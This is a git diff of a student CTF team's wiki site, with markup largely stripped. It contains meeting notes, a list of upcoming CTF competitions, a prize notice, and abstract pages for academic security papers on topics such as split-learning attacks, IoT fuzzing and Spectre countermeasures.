线上赛为 Jeopardy CTF,面向全球战队开放,请在开赛前前往我们的比赛平台注册账号。我们将开启反作弊与动态积分系统,检测到作弊行为将被自动封禁,题目分数会随着解出队伍数量的增加而减少。

+

比赛奖励

+

🏆 冠军:¥50000🥈 亚军:¥30000🥉 季军:¥10000🎁 第四名:¥5000🎁 第五名:¥5000🎁 第六名:¥5000🎁 第七名-第十二名:¥2000

+

联系我们

+

img

+

D^3CTF 2023 官方 QQ 群

+

img

+

D^3CTF 2023 官方钉钉交流群

+

Telegram:https://t.me/d3ctf

+

IRC:#d3ctf (Freenode)

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-05-11/index.html b/Meeting/CTF Week Meeting 2023-05-11/index.html new file mode 100644 index 000000000..cff17afb5 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-05-11/index.html @@ -0,0 +1,8408 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-05-11 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-05-11

+

We're gearing up for the upcoming National Competition. We'll also be providing training sessions to sharpen our skills and stay up-to-date with the latest trends in cybersecurity. To make sure that we're all on the same page and fully prepared, I'll be holding individual meetings with each member of the team. Let's work together to take our cybersecurity expertise to new heights!

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 30%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 100%
  8. +
  9. CTFtime program: play CTF and share - 34%
  10. +
  11. New Member Recruitment - 80%
  12. +
  13. CTF from Practice to Principle - 30%
  14. +
  15. National College Student Information Security Contest - 50%
  16. +
  17. Discussions with Other Universities about National College Student Information Software Competition - 100%
  18. +
  19. Individual Meetings with our members - 0% brief idea
  20. +
  21. COMPASS Infosec Game CTF - 0% brief idea
  22. +
+

What we discussed this week

+
    +
  1. Invitation and the Register about the National Competition.
  2. +
  3. Individual Meetings with our members.
  4. +
  5. COMPASS Infosec Game CTF.
  6. +
  7. Upcoming Events.
  8. +
+

0x1. Invitation and the Register about the National Competition

+

2023国赛邀请函

+

0x2. Individual Meetings with our members

+

During this chapter of the meeting, we will be discussing how we can improve our hacking skills for fun and for the benefit of our team. We'll go through each member's strengths, weaknesses, and areas of interest to better understand how we can collaborate and tackle various challenges more effectively. We'll discuss techniques, tools, and strategies for hacking and explore avenues for earning more opportunities in the field. Whether you're a seasoned hacker or just starting out, this chapter of the meeting will provide you with valuable insights and ideas for enhancing your skills and contributing to the team's success. We will also share tips and resources for staying motivated and engaged in the exciting world of cybersecurity.

+

I will contact you and arrange time for the meeting.

+

0x3. COMPASS Infosec Game CTF

+

Before the June, we are going to hold a university competition, that contains both JeoPardy form challenges, and the offline AwD form final round.

+
Dear Students,
+
+We are pleased to announce the COMPASS Infosec Game, a university competition about information security that will be held on [date]. The competition's main objective is to invite CTF players from other universities to participate and showcase their skills in cybersecurity.
+
+As a student of SUSTech, we invite you to partake in this exciting competition. We are offering special prizes and commendations to the winning teams. It is a great opportunity to not only challenge your information security skills and knowledge, but also to represent your university and make new connections with like-minded individuals from other universities.
+
+To register, please contact us with your team and member information before [registration deadline]. Once registered, we will provide you with further details about the competition format, timeline, and logistics.
+
+We look forward to seeing you in action and promoting the growth of information security skills.
+
+Best regards, COMPASS CTF
+
+

This schedule is under construction.

+

0x4. Upcoming Events

+

*ISCC2023个人挑战赛

+

比赛链接:https://www.isclab.org.cn/jsrk/

+

比赛类型:个人赛

+

报名开始:2023-04-30 08:00

+

报名截止:2023-05-25 18:00

+

比赛开始:2023-05-01 08:00

+

比赛结束:2023-05-25 18:00

+

其他说明:

+

QQ群:751684975

+

东北电力大学NEEPU-CTF 2023 公开赛

+

比赛链接:http://www.neepusec.fun:8090/

+

比赛类型:个人赛

+

报名开始:2023年5月1日

+

报名截止:2023年5月12日

+

比赛开始:2023年5月19日 20:00

+

比赛结束:2023年5月21日 20:00

+

其他说明:

+

教务处通知:https://jwc.neepu.edu.cn/info/1014/2513.htm QQ群:700517227

+

第十六届全国大学生信息安全竞赛初赛

+

比赛链接:http://www.ciscn.cn/

+

比赛类型:团队赛|1-4人

+

报名开始:2023年4月27日

+

报名截止:2023年5月25日

+

比赛开始:2023年5月27日

+

比赛结束:2023年5月28日

+

其他说明:

+

官方QQ群①:568747643 官方QQ群②:779329249 官方QQ群③:780247795 官方QQ群④:797605821

+

*2023年福建省第四届“闽盾杯”网络空间安全大赛(黑盾全国大学生赛道)

+

比赛链接:http://heidunbei.si.net.cn/hdc/cover

+

比赛类型:团队赛|1-3人

+

报名开始:2023年5月10日

+

报名截止:2023年5月18日

+

比赛开始:2023年5月20日线上选拔赛 5月21日线上复赛

+

比赛结束:2023年6月2日决赛

+

其他说明:

+

竞赛官方QQ群566180593

+

NSSCTF Round#12

+

比赛链接:https://www.nssctf.cn/index

+

比赛类型:MISC专项个人赛

+

报名开始:2023年5月10日

+

报名截止:2023年5月20日

+

比赛开始:2023年5月20日10:00

+

比赛结束:2023年5月20日

+

其他说明:

+

QQ群:732339662

+

2023LitCTF&郑州轻工业大学首届新生赛

+

比赛链接:https://www.nssctf.cn/contest

+

比赛类型:团队赛|1-4人

+

报名开始:无需报名

+

报名截止:无需报名

+

比赛开始:2023年5月13日10:00

+

比赛结束:2023年5月14日17:00

+

其他说明:

+

QQ群:782400974

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-06-29/index.html b/Meeting/CTF Week Meeting 2023-06-29/index.html new file mode 100644 index 000000000..35f7e17d6 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-06-29/index.html @@ -0,0 +1,8244 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-06-29 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-06-29

+

Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 30%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. CTFtime program: play CTF and share - 34%
  8. +
  9. New Member Recruitment - 80%
  10. +
  11. CTF from Practice to Principle - 45%
  12. +
  13. Summer recruitment - ongoing
  14. +
+

What we discussed this week

+
    +
  1. Congratulations on the first-class prize.
  2. +
  3. Schedule and the current planning for the preliminary competition.
  4. +
  5. Summer recruitment.
  6. +
+

0x1. Congratulations on the first-class prize

+

img

+

Congratulations to COMPASS CTF and its exceptional team members on winning the first-class prize in the semi-final of the National College Computer Security Competition!

+

Your remarkable achievement in this highly competitive event highlights your exceptional skills, dedication, and knowledge in the field of computer security. Securing the top spot in such a prestigious competition is a testament to your unwavering commitment to excellence and your ability to outperform other talented teams.

+

Your success in the semi-final is a testament to your exceptional problem-solving abilities, critical thinking skills, and deep understanding of computer security concepts. This victory reflects the passion and diligence you have poured into your work, and it signifies your position as leader in this rapidly evolving field.

+

May this sensational victory in the semi-final of the National College Computer Security Competition be the first of many remarkable achievements for COMPASS CTF. We are excited to see what the future holds for your talented team. Congratulations once again on this outstanding accomplishment, and best wishes for all your future endeavors!

+

The official website grade public

+

The national finals will be announced on July 1. The national finals will be held in late July, and we look forward to better results in the finals.

+

0x2. Schedule and the current planning for the preliminary competition

+

Congratulations also to our two teams who have entered the preliminary competition and are now in the preliminary judging process. The finalists will be announced on July 26. At present, I have completed the payment and other procedures for the two teams in the competition, and I am waiting for your good news.

+

preliminary teams list from the official website

+

0x3. Summer recruitment

+

Reference: 2023 summer recruitment and training schedule

+

0x4. Other remarkable information

+

“华为杯”第二届中国研究生网络安全创新大赛邀请函

+

https://cpipc.acge.org.cn//cw/detail/2c90800c8093eef401809d33b36f0652/2c90801787f062ab0188719bbb3a7891

+

Summary

+

Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Artificial Intelligence/Cert-RNN Towards Certifying the Robustness of Recurrent/index.html b/Paper/Artificial Intelligence/Cert-RNN Towards Certifying the Robustness of Recurrent/index.html new file mode 100644 index 000000000..5a4385796 --- /dev/null +++ b/Paper/Artificial Intelligence/Cert-RNN Towards Certifying the Robustness of Recurrent/index.html @@ -0,0 +1,8135 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Cert-RNN: Towards Certifying the Robustness of Recurrent Neural Networks - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Cert-RNN: Towards Certifying the Robustness of Recurrent Neural Networks

+

Authors: Tianyu Du (Zhejiang University); Shouling Ji (Zhejiang University); Lujia Shen (Zhejiang University); Yao Zhang (Zhejiang University); Jinfeng Li (Zhejiang University); Jie Shi (Huawei International, Singapore); Chengfang Fang (Huawei International, Singapore); Jianwei Yin (Zhejiang University); Raheem Beyah (Georgia Institute of Technology); Ting Wang (Pennsylvania State University)

+

Keywords: deep learning, recurrent neural networks, robustness certification, natural language processing

+

Abstract

+

Certifiable robustness, the functionality of verifying whether the given region surrounding a data point admits any adversarial example, provides guaranteed security for neural networks deployed in adversarial environments. A plethora of work has been proposed to certify the robustness of feed-forward networks, e.g., FCNs and CNNs. Yet, most existing methods cannot be directly applied to recurrent neural networks (RNNs), due to their sequential inputs and unique operations. In this paper, we present Cert-RNN, a general framework for certifying the robustness of RNNs. Specifically, through detailed analysis for the intrinsic property of the unique function in different ranges, we exhaustively discuss different cases for the exact formula of bounding planes, based on which we design several precise and efficient abstract transformers for the unique calculations in RNNs. Cert-RNN significantly outperforms the state-of-the-art methods (e.g., POPQORN [25]) in terms of (i) effectiveness – it provides much tighter robustness bounds, and (ii) efficiency – it scales to much more complex models. Through extensive evaluation, we validate Cert-RNN’s superior performance across various network architectures (e.g., vanilla RNN and LSTM) and applications (e.g., image classification, sentiment analysis, toxic comment detection, and malicious URL detection). For instance, for the RNN-2-32 model on the MNIST sequence dataset, the robustness bound certified by Cert-RNN is on average 1.86 times larger than that by POPQORN. Besides certifying the robustness of given RNNs, Cert-RNN also enables a range of practical applications including evaluating the provable effectiveness for various defenses (i.e., the defense with a larger robustness region is considered to be more robust), improving the robustness of RNNs (i.e., incorporating Cert-RNN with verified robust training) and identifying sensitive words (i.e., the word with the smallest certified robustness bound is considered to be the most sensitive word in a sentence), which helps build more robust and interpretable deep learning systems. We will open-source CertRNN for facilitating the DNN security research.

+ +

Present PPT: https://nesa.zju.edu.cn/download/ppt/dty_slides_Cert-RNN.pdf

+

Download

+

PDF: Cert-RNN Towards Certifying the Robustness of Recurrent.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Artificial Intelligence/Unleashing the Tiger Inference Attacks on Split Learning/index.html b/Paper/Artificial Intelligence/Unleashing the Tiger Inference Attacks on Split Learning/index.html new file mode 100644 index 000000000..631713231 --- /dev/null +++ b/Paper/Artificial Intelligence/Unleashing the Tiger Inference Attacks on Split Learning/index.html @@ -0,0 +1,8137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Unleashing the Tiger Inference Attacks on Split Learning - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Unleashing the Tiger Inference Attacks on Split Learning

+

[Submitted on 4 Dec 2020 (v1), last revised 21 Aug 2021 (this version, v4)]

+

Authors: Dario Pasquini, Giuseppe Ateniese, Massimo Bernaschi

+

Comments: To appear in the proceedings of: ACM Conference on Computer and Communications Security 2021 (CCS21)

+

Subjects: Cryptography and Security (cs.CR); Machine Learning (cs.LG)

+

Abstract

+

We investigate the security of Split Learning -- a novel collaborative machine learning framework that enables peak performance by requiring minimal resources consumption. In the present paper, we expose vulnerabilities of the protocol and demonstrate its inherent insecurity by introducing general attack strategies targeting the reconstruction of clients' private training sets. More prominently, we show that a malicious server can actively hijack the learning process of the distributed model and bring it into an insecure state that enables inference attacks on clients' data. We implement different adaptations of the attack and test them on various datasets as well as within realistic threat scenarios. We demonstrate that our attack is able to overcome recently proposed defensive techniques aimed at enhancing the security of the split learning protocol. Finally, we also illustrate the protocol's insecurity against malicious clients by extending previously devised attacks for Federated Learning. To make our results reproducible, we made our code available at this https URL.

+ +

GitHub repo: https://github.com/pasquini-dario/SplitNN_FSHA

+

Download

+

PDF: Unleashing the Tiger Inference Attacks on Split Learning.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Cryptography/Fuzzy Message Detection/index.html b/Paper/Cryptography/Fuzzy Message Detection/index.html new file mode 100644 index 000000000..b1e29c0a2 --- /dev/null +++ b/Paper/Cryptography/Fuzzy Message Detection/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Fuzzy Message Detection - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Fuzzy Message Detection

+

Authors: Gabrielle Beck and Julia Len and Ian Miers and Matthew Green

+

Category / Keywords: public-key cryptography / privacy, encryption, cryptocurrency

+

Original Publication (with major differences): ACM CCS

+

Abstract

+

Many privacy-preserving protocols employ a primitive that allows a sender to "flag" a message to a recipient's public key, such that only the recipient (who possesses the corresponding secret key) can detect that the message is intended for their use. Examples of such protocols include anonymous messaging, privacy-preserving payments, and anonymous tracing. A limitation of the existing techniques is that recipients cannot easily outsource the detection of messages to a remote server, without revealing to the server the exact set of matching messages. In this work we propose a new class of cryptographic primitives called fuzzy message detection schemes. These schemes allow a recipient to derive a specialized message detection key that can identify correct messages, while also incorrectly identifying non-matching messages with a specific and chosen false positive rate pp. This allows recipients to outsource detection work to an untrustworthy server, without revealing precisely which messages belong to the receiver. We show how to construct these schemes under a variety of assumptions; describe several applications of the new technique; and show that our schemes are efficient enough to use in real applications.

+

Download

+

PDF: Fuzzy Message Detection.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Cryptography/Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees/index.html b/Paper/Cryptography/Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees/index.html new file mode 100644 index 000000000..ef8554340 --- /dev/null +++ b/Paper/Cryptography/Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees/index.html @@ -0,0 +1,8136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees

+

Authors: Matthew Weidner and Martin Kleppmann and Daniel Hugenroth and Alastair R. Beresford

+

Category / Keywords: cryptographic protocols / secure messaging, group messaging, decentralization, forward secrecy, post-compromise security

+

Original Publication (with minor differences): ACM CCS 2021

+

Abstract

+

Secure group messaging protocols, providing end-to-end encryption for group communication, need to handle mobile devices frequently being offline, group members being added or removed, and the possibility of device compromises during long-lived chat sessions. Existing work targets a centralized network model in which all messages are routed through a single server, which is trusted to provide a consistent total order on updates to the group state. In this paper we adapt secure group messaging for decentralized networks that have no central authority. Servers may still optionally be used, but they are trusted less. We define decentralized continuous group key agreement (DCGKA), a new cryptographic primitive encompassing the core of a decentralized secure group messaging protocol; we give a practical construction of a DCGKA protocol and prove its security; and we describe how to construct a full messaging protocol from DCGKA. In the face of device compromise our protocol achieves forward secrecy and post-compromise security. We evaluate the performance of a prototype implementation, and demonstrate that our protocol has practical efficiency.

+ +

GitHub repo: https://github.com/trvedata/key-agreement

+

Download

+

PDF: Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Internet of Things/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference/index.html b/Paper/Internet of Things/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference/index.html new file mode 100644 index 000000000..441026734 --- /dev/null +++ b/Paper/Internet of Things/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference/index.html @@ -0,0 +1,8117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Snipuzz: Black-box Fuzzing of IoT Firmware via Message Snippet Inference - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Snipuzz: Black-box Fuzzing of IoT Firmware via Message Snippet Inference

+

[Submitted on 12 May 2021 (v1), last revised 21 May 2021 (this version, v2)]

+

Authors: Xiaotao Feng (1), Ruoxi Sun (2), Xiaogang Zhu (1), Minhui Xue (2), Sheng Wen (1), Dongxi Liu (3), Surya Nepal (3), Yang Xiang (1) ((1) Swinburne University of Technology, (2) The University of Adelaide, (3) CSIRO Data61)

+

Comments: Accepted to ACM CCS 2021

+

Subjects: Cryptography and Security (cs.CR)

+

Abstract

+

The proliferation of Internet of Things (IoT) devices has made people's lives more convenient, but it has also raised many security concerns. Due to the difficulty of obtaining and emulating IoT firmware, the black-box fuzzing of IoT devices has become a viable option. However, existing black-box fuzzers cannot form effective mutation optimization mechanisms to guide their testing processes, mainly due to the lack of feedback. It is difficult or even impossible to apply existing grammar-based fuzzing strategies. Therefore, an efficient fuzzing approach with syntax inference is required in the IoT fuzzing domain. To address these critical problems, we propose a novel automatic black-box fuzzing for IoT firmware, termed Snipuzz. Snipuzz runs as a client communicating with the devices and infers message snippets for mutation based on the responses. Each snippet refers to a block of consecutive bytes that reflect the approximate code coverage in fuzzing. This mutation strategy based on message snippets considerably narrows down the search space to change the probing messages. We compared Snipuzz with four state-of-the-art IoT fuzzing approaches, i.e., IoTFuzzer, BooFuzz, Doona, and Nemesys. Snipuzz not only inherits the advantages of app-based fuzzing (e.g., IoTFuzzer, but also utilizes communication responses to perform efficient mutation. Furthermore, Snipuzz is lightweight as its execution does not rely on any prerequisite operations, such as reverse engineering of apps. We also evaluated Snipuzz on 20 popular real-world IoT devices. Our results show that Snipuzz could identify 5 zero-day vulnerabilities, and 3 of them could be exposed only by Snipuzz. All the newly discovered vulnerabilities have been confirmed by their vendors.

+

Download

+

PDF: Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Misc/Chaff Bugs Deterring Attackers by Making Software Buggier/index.html b/Paper/Misc/Chaff Bugs Deterring Attackers by Making Software Buggier/index.html new file mode 100644 index 000000000..987570ca5 --- /dev/null +++ b/Paper/Misc/Chaff Bugs Deterring Attackers by Making Software Buggier/index.html @@ -0,0 +1,8136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Chaff Bugs: Deterring Attackers by Making Software Buggier - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Chaff Bugs: Deterring Attackers by Making Software Buggier

+

[Submitted on 2 Aug 2018]

+

Authors: Zhenghao Hu, Yu Hu, Brendan Dolan-Gavitt

+

Subjects: Cryptography and Security (cs.CR)

+

Abstract

+

Sophisticated attackers find bugs in software, evaluate their exploitability, and then create and launch exploits for bugs found to be exploitable. Most efforts to secure software attempt either to eliminate bugs or to add mitigations that make exploitation more difficult. In this paper, we introduce a new defensive technique called chaff bugs, which instead target the bug discovery and exploit creation stages of this process. Rather than eliminating bugs, we instead add large numbers of bugs that are provably (but not obviously) non-exploitable. Attackers who attempt to find and exploit bugs in software will, with high probability, find an intentionally placed non-exploitable bug and waste precious resources in trying to build a working exploit. We develop two strategies for ensuring non-exploitability and use them to automatically add thousands of non-exploitable bugs to real-world software such as nginx and libFLAC; we show that the functionality of the software is not harmed and demonstrate that our bugs look exploitable to current triage tools. We believe that chaff bugs can serve as an effective deterrent against both human attackers and automated Cyber Reasoning Systems (CRSes).

+ +

Chaff CTF: https://ctftime.org/event/1445

+

Download

+

PDF: Chaff Bugs Deterring Attackers by Making Software Buggier.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Mobile/Consistency Analysis of Data-Usage Purposes in Mobile Apps/index.html b/Paper/Mobile/Consistency Analysis of Data-Usage Purposes in Mobile Apps/index.html new file mode 100644 index 000000000..0a2a5341f --- /dev/null +++ b/Paper/Mobile/Consistency Analysis of Data-Usage Purposes in Mobile Apps/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Consistency Analysis of Data-Usage Purposes in Mobile Apps - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Consistency Analysis of Data-Usage Purposes in Mobile Apps

+

Authors: Duc Bui, Yuan Yao, Kang G. Shin, Jong-Min Choi, Junbum Shin

+

Abstract

+

While privacy laws and regulations require apps and services to disclose the purposes of their data collection to the users (i.e., why do they collect my data?), the data usage in an app’s actual behavior does not always comply with the purposes stated in its privacy policy. Automated techniques have been proposed to analyze apps’ privacy policies and their execution behavior, but they often overlooked the purposes of the apps’ data collection, use and sharing. To mitigate this oversight, we propose PurPliance, an automated system that detects the inconsistencies between the data-usage purposes stated in a natural language privacy policy and those of the actual execution behavior of an Android app. PurPliance analyzes the predicate-argument structure of policy sentences and classifies the extracted purpose clauses into a taxonomy of data purposes. Purposes of actual data usage are inferred from network data traffic. We propose a formal model to represent and verify the data usage purposes in the extracted privacy statements and data flows to detect policy contradictions in a privacy policy and flow-to-policy inconsistencies between network data flows and privacy statements. Our evaluation results of end-to-end contradiction detection have shown PurPliance to improve detection precision from 19% to 95% and recall from 10% to 50% compared to a state-of-the-art method. Our analysis of 23.1k Android apps has also shown PurPliance to detect contradictions in 18.14% of privacy policies and flow-topolicy inconsistencies in 69.66% of apps, indicating the prevalence of inconsistencies of data practices in mobile apps.

+

Download

+

PDF: Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/PWN/Exorcising Spectres with Secure Compilers/index.html b/Paper/PWN/Exorcising Spectres with Secure Compilers/index.html new file mode 100644 index 000000000..462c744d4 --- /dev/null +++ b/Paper/PWN/Exorcising Spectres with Secure Compilers/index.html @@ -0,0 +1,8137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Exorcising Spectres with Secure Compilers - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Exorcising Spectres with Secure Compilers

+

[Submitted on 18 Oct 2019 (v1), last revised 10 Sep 2021 (this version, v4)]

+

Authors: Marco Patrignani, Marco Guarnieri

+

Subjects: Programming Languages (cs.PL)

+

Abstract

+

Attackers can access sensitive information of programs by exploiting the side-effects of speculatively-executed instructions using Spectre attacks. To mitigate theses attacks, popular compilers deployed a wide range of countermeasures. The security of these countermeasures, however, has not been ascertained: while some of them are believed to be secure, others are known to be insecure and result in vulnerable programs. To reason about the security guarantees of these compiler-inserted countermeasures, this paper presents a framework comprising several secure compilation criteria characterizing when compilers produce code resistant against Spectre attacks. With this framework, we perform a comprehensive security analysis of compiler-level countermeasures against Spectre attacks implemented in major compilers. This work provides sound foundations to formally reason about the security of compiler-level countermeasures against Spectre attacks as well as the first proofs of security and insecurity of said countermeasures.

+ +

Spectre attack: https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)

+

Meltdown and Spectre: https://meltdownattack.com/

+

Download

+

PDF: Exorcising Spectres with Secure Compilers.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/PWN/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction/index.html b/Paper/PWN/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction/index.html new file mode 100644 index 000000000..48749a803 --- /dev/null +++ b/Paper/PWN/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction

+

Authors: Vasilakis, Nikos and Staicu, Cristian-Alexandru and Ntousakis, Grigoris and Kallas, Konstantinos and Karel, Ben and DeHon, André and Pradel, Michael

+

In: 28th ACM Conference on Computer and Communications Security (CCS 2021).

+

Conference: CCS ACM Conference on Computer and Communications Security

+

Abstract

+

Third-party libraries ease the development of large-scale software systems. However, libraries often execute with significantly more privilege than needed to complete their task. Such additional privilege is sometimes exploited at runtime via inputs passed to a library, even when the library itself is not actively malicious. We present Mir, a system addressing dynamic compromise by introducing a fine-grained read-write-execute (RWX) permission model at the boundaries of libraries: every field of every free variable name in the context of an imported library is governed by a permission set. To help specify the permissions given to existing code, Mir’s automated inference generates default permissions by analyzing how libraries are used by their clients. Applied to over 1,000 JavaScript libraries for Node.js, Mir shows practical security (61/63 attacks mitigated), performance (2.1s for static analysis and +1.93% for dynamic enforcement), and compatibility (99.09%) characteristics and enables a novel quantification of privilege reduction.

+

Download

+

PDF: Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/Reverse Engineering/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate/index.html b/Paper/Reverse Engineering/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate/index.html new file mode 100644 index 000000000..1777e656b --- /dev/null +++ b/Paper/Reverse Engineering/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate/index.html @@ -0,0 +1,8115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
